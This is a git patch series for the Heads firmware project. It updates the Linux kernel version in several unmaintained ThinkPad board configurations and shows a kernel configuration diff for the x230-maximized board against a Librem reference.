CONFIG_FLASHPROG=y diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index 4b15eb2de..a4d2c6fd4 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -1,7 +1,7 @@ # Configuration for a t420 running Qubes 4.1 and other OS, X220 is identical to X230 on the Linux Side of things. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t420.config CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config diff --git a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config index 36d3511d9..93001f92e 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config @@ -9,7 +9,7 @@ # HOTP_KEY: HOTP challenge for currently supported USB Security dongles export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-legacy.config CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config index 0f531aee0..d0f6fbfee 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config @@ -5,7 +5,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy-flash.config CONFIG_LINUX_CONFIG=config/linux-x230-flash.config diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config index 50c0816e7..09a254988 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config @@ -6,7 +6,7 @@ # e1000e (ethernet driver) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-legacy.config CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index 9159ef20b..8d6dd05be 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -6,7 +6,7 @@ # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t520-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index bbd69a933..7346163f8 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -6,7 +6,7 @@ # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t520-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config index 248f97b41..61084c020 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a t530 with a dGPU. Initialization of the dGPU is necessary in order to use an external monitor via the DisplayPort (either the in-built mini-DisplayPort or the DisplayPort in the dock). In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-dgpu-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config index 8c4b796af..94d2780f1 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a t530 with a dGPU. Initialization of the dGPU is necessary in order to use an external monitor via the DisplayPort (either the in-built mini-DisplayPort or the DisplayPort in the dock). In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-dgpu-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config index 45076c763..e35937fd6 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a w530 with the K1000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K1000m-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config index ed4fa8b50..f091f80d2 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a w530 with the K1000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K1000m-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config index 7192d2853..18d207e25 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a w530 with the K2000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K2000m-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config index 71c0a212d..a05be9046 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config @@ -9,7 +9,7 @@ # This board is designed for a w530 with the K2000M Nvidia Quadro dGPU. Initialization of the dGPU is necessary in order to use an external monitor whether through the in-build VGA or mini-DisplayPort or via the dock. In order to build this the relevant script in the blobs directory must be run (or self-pulled roms placed in that directory) and after building the rom, the nvramtool must be run on the 12MB rom to change the default graphics mode away from integrated-only graphics (see README_vbios in the blobs directory). export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-dgpu-K2000m-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index 75b1369dc..494648e29 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -1,7 +1,7 @@ # Configuration for a x220 running Qubes 4.1 and other OS, X220 is identical to X230 on the Linux Side of things. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x220.config CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config diff --git a/unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config index 1d6233d72..9cfbc4d6b 100644 --- a/unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config @@ -9,7 +9,7 @@ # HOTP_KEY: HOTP challenge for currently supported USB Security dongles export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config diff --git a/unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config index ed0e79908..eb5fd3ad0 100644 --- a/unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config @@ -5,7 +5,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_x230-legacy-flash.config CONFIG_LINUX_CONFIG=config/linux-x230-flash.config diff --git a/unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config b/unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config index bdd821218..d093dcdbf 100644 --- a/unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config @@ -5,7 +5,7 @@ # e1000e (ethernet driver) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_x230-legacy.config CONFIG_LINUX_CONFIG=config/linux-UNMAINTAINED_x230-legacy.config From 28c35b557e662f21dfa5c2235cc432dc1f3aca4a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Oct 2024 07:36:18 -0400 Subject: [PATCH 289/619] config/linux-x230-maximized.conf: linux.modify_and_save_oldconfig_in_place to see new defconfig settings saved in oldconfig and compare with librems Diff with librem: index 6a61e18083..70590d5b1b 100644 --- a/config/linux-x230-maximized.config +++ b/config/linux-x230-maximized.config @@ -110,13 +110,11 @@ CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_BPF_JIT is not set # end of BPF subsystem -CONFIG_PREEMPT_BUILD=y +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set -CONFIG_PREEMPT_COUNT=y -CONFIG_PREEMPTION=y -CONFIG_PREEMPT_DYNAMIC=y +# CONFIG_PREEMPT_DYNAMIC is not set # CONFIG_SCHED_CORE is not set # @@ -134,7 +132,6 @@ CONFIG_TICK_CPU_ACCOUNTING=y # RCU Subsystem # CONFIG_TREE_RCU=y -CONFIG_PREEMPT_RCU=y # CONFIG_RCU_EXPERT is not set CONFIG_SRCU=y CONFIG_TREE_SRCU=y @@ -166,7 +163,7 @@ CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -181,7 +178,7 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set -CONFIG_INITRAMFS_PRESERVE_MTIME=y +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y @@ -211,7 +208,7 @@ CONFIG_IO_URING=y CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y -# CONFIG_KCMP is not set +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -302,14 +299,14 @@ CONFIG_BOOT_VESA_SUPPORT=y CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y -CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y @@ -338,7 +335,7 @@ CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set # CONFIG_MTRR is not set -# CONFIG_X86_UMIP is not set +CONFIG_X86_UMIP=y CONFIG_CC_HAS_IBT=y # CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set @@ -358,8 +355,13 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set @@ -373,9 +375,8 @@ CONFIG_HAVE_LIVEPATCH=y CONFIG_CC_HAS_RETURN_THUNK=y CONFIG_SPECULATION_MITIGATIONS=y -# CONFIG_PAGE_TABLE_ISOLATION is not set -CONFIG_RETPOLINE=y -CONFIG_RETHUNK=y +CONFIG_PAGE_TABLE_ISOLATION=y +# CONFIG_RETPOLINE is not set CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y @@ -678,7 +679,11 @@ CONFIG_MQ_IOSCHED_DEADLINE=y # CONFIG_IOSCHED_BFQ is not set # end of IO Schedulers -CONFIG_UNINLINE_SPIN_UNLOCK=y +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y +CONFIG_INLINE_READ_UNLOCK=y +CONFIG_INLINE_READ_UNLOCK_IRQ=y +CONFIG_INLINE_WRITE_UNLOCK=y +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y CONFIG_RWSEM_SPIN_ON_OWNER=y @@ -791,7 +796,7 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -CONFIG_SYN_COOKIES=y +# CONFIG_SYN_COOKIES is not set # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set @@ -880,7 +885,11 @@ CONFIG_HAVE_PCI=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set -# CONFIG_PCIEASPM is not set +CONFIG_PCIEASPM=y +CONFIG_PCIEASPM_DEFAULT=y +# CONFIG_PCIEASPM_POWERSAVE is not set +# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set +# CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y @@ -997,16 +1006,11 @@ CONFIG_DMA_SHARED_BUFFER=y # CONFIG_DMIID is not set # CONFIG_DMI_SYSFS is not set CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y +# CONFIG_ISCSI_IBFT is not set # CONFIG_FW_CFG_SYSFS is not set CONFIG_SYSFB=y -# CONFIG_SYSFB_SIMPLEFB is not set -CONFIG_GOOGLE_FIRMWARE=y -# CONFIG_GOOGLE_SMI is not set -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set +CONFIG_SYSFB_SIMPLEFB=y +# CONFIG_GOOGLE_FIRMWARE is not set # # EFI (Extensible Firmware Interface) Support @@ -1063,30 +1067,24 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # NVME Support # -# CONFIG_BLK_DEV_NVME is not set +CONFIG_NVME_CORE=y +CONFIG_BLK_DEV_NVME=y +# CONFIG_NVME_MULTIPATH is not set +# CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set +# CONFIG_NVME_AUTH is not set # end of NVME Support # # Misc devices # -# CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_TIFM_CORE is not set -# CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_HP_ILO is not set -# CONFIG_APDS9802ALS is not set -# CONFIG_ISL29003 is not set -# CONFIG_ISL29020 is not set -# CONFIG_SENSORS_TSL2550 is not set -# CONFIG_SENSORS_BH1770 is not set -# CONFIG_SENSORS_APDS990X is not set -# CONFIG_HMC6352 is not set -# CONFIG_DS1682 is not set # CONFIG_SRAM is not set # CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set @@ -1096,12 +1094,7 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # EEPROM support # -# CONFIG_EEPROM_AT24 is not set -# CONFIG_EEPROM_LEGACY is not set -# CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set -# CONFIG_EEPROM_IDT_89HPESX is not set -# CONFIG_EEPROM_EE1004 is not set # end of EEPROM support # CONFIG_CB710_CORE is not set @@ -1111,11 +1104,12 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # end of Texas Instruments shared transport line discipline -# CONFIG_SENSORS_LIS3_I2C is not set -# CONFIG_ALTERA_STAPL is not set -CONFIG_INTEL_MEI=m -CONFIG_INTEL_MEI_ME=m -CONFIG_INTEL_MEI_TXE=m +# +# Altera FPGA firmware download module (requires I2C) +# +# CONFIG_INTEL_MEI is not set +# CONFIG_INTEL_MEI_ME is not set +# CONFIG_INTEL_MEI_TXE is not set # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set @@ -1162,14 +1156,64 @@ CONFIG_SCSI_ISCSI_ATTRS=y # CONFIG_SCSI_SRP_ATTRS is not set # end of SCSI Transports -# CONFIG_SCSI_LOWLEVEL is not set +CONFIG_SCSI_LOWLEVEL=y +CONFIG_ISCSI_TCP=y +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_CXGB3_ISCSI is not set +# CONFIG_SCSI_CXGB4_ISCSI is not set +# CONFIG_SCSI_BNX2_ISCSI is not set +# CONFIG_BE2ISCSI is not set +# CONFIG_BLK_DEV_3W_XXXX_RAID is not set +# CONFIG_SCSI_HPSA is not set +# CONFIG_SCSI_3W_9XXX is not set +# CONFIG_SCSI_3W_SAS is not set +# CONFIG_SCSI_ACARD is not set +# CONFIG_SCSI_AACRAID is not set +# CONFIG_SCSI_AIC7XXX is not set +# CONFIG_SCSI_AIC79XX is not set +# CONFIG_SCSI_AIC94XX is not set +# CONFIG_SCSI_MVSAS is not set +# CONFIG_SCSI_MVUMI is not set +# CONFIG_SCSI_ADVANSYS is not set +# CONFIG_SCSI_ARCMSR is not set +# CONFIG_SCSI_ESAS2R is not set +# CONFIG_MEGARAID_NEWGEN is not set +# CONFIG_MEGARAID_LEGACY is not set +# CONFIG_MEGARAID_SAS is not set +# CONFIG_SCSI_MPT3SAS is not set +# CONFIG_SCSI_MPT2SAS is not set +# CONFIG_SCSI_MPI3MR is not set +# CONFIG_SCSI_SMARTPQI is not set +# CONFIG_SCSI_HPTIOP is not set +# CONFIG_SCSI_BUSLOGIC is not set +# CONFIG_SCSI_MYRB is not set +# CONFIG_SCSI_MYRS is not set +# CONFIG_VMWARE_PVSCSI is not set +# CONFIG_SCSI_SNIC is not set +# CONFIG_SCSI_DMX3191D is not set +# CONFIG_SCSI_FDOMAIN_PCI is not set +# CONFIG_SCSI_ISCI is not set +# CONFIG_SCSI_IPS is not set +# CONFIG_SCSI_INITIO is not set +# CONFIG_SCSI_INIA100 is not set +# CONFIG_SCSI_STEX is not set +# CONFIG_SCSI_SYM53C8XX_2 is not set +# CONFIG_SCSI_IPR is not set +# CONFIG_SCSI_QLOGIC_1280 is not set +# CONFIG_SCSI_QLA_ISCSI is not set +# CONFIG_SCSI_DC395x is not set +# CONFIG_SCSI_AM53C974 is not set +# CONFIG_SCSI_WD719X is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_PMCRAID is not set +# CONFIG_SCSI_PM8001 is not set # CONFIG_SCSI_DH is not set # end of SCSI device support CONFIG_ATA=y CONFIG_SATA_HOST=y CONFIG_PATA_TIMINGS=y -CONFIG_ATA_VERBOSE_ERROR=y +# CONFIG_ATA_VERBOSE_ERROR is not set CONFIG_ATA_FORCE=y CONFIG_ATA_ACPI=y CONFIG_SATA_PMP=y @@ -1428,10 +1472,7 @@ CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces # -CONFIG_INPUT_MOUSEDEV=y -# CONFIG_INPUT_MOUSEDEV_PSAUX is not set -CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 -CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 +# CONFIG_INPUT_MOUSEDEV is not set # CONFIG_INPUT_JOYDEV is not set # CONFIG_INPUT_EVDEV is not set # CONFIG_INPUT_EVBUG is not set @@ -1440,49 +1481,15 @@ CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # 